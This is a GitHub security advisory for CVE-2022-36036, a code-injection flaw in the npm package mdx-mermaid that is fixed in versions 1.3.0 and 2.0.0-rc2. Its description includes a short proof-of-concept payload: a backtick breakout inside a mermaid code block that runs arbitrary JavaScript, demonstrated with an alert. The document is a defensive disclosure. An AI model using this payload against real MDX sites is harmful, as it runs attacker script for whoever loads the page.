GitHub Advisoryadvisory · npm

GHSA-rvgm-35jw-q628 Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

LOW Published 2022-08-31 Modified 2022-09-08 Official page ↗
Aliases
CVE-2022-36036
Ecosystem
npm
Packages
mdx-mermaid
Severity
Low
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Weaknesses
CWE-94
Reviewed
2022-08-31

Affected packages

• npm mdx-mermaid: < 1.3.0 → fixed in 1.3.0 • npm mdx-mermaid: >= 2.0.0-rc1, < 2.0.0-rc2 → fixed in 2.0.0-rc2

Description

Impact Arbitary javascript injection Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs ``` ` + (function () { // Put Javascript code here return '' }()) + ` ``` The block below shows a valid mermaid code block ````md ```mermaid graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` The same block but with the exploit added ````md ```mermaid ` + (function () { alert('vulnerable') return '' }()) + ` graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` Patches 1.3.0 and 2.0.0-rc2 Workarounds None known

Related

Alias · CVE (1)

  • CVE-2022-36036 mdx-mermaid provides plug and play access to Mermaid in MDX. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References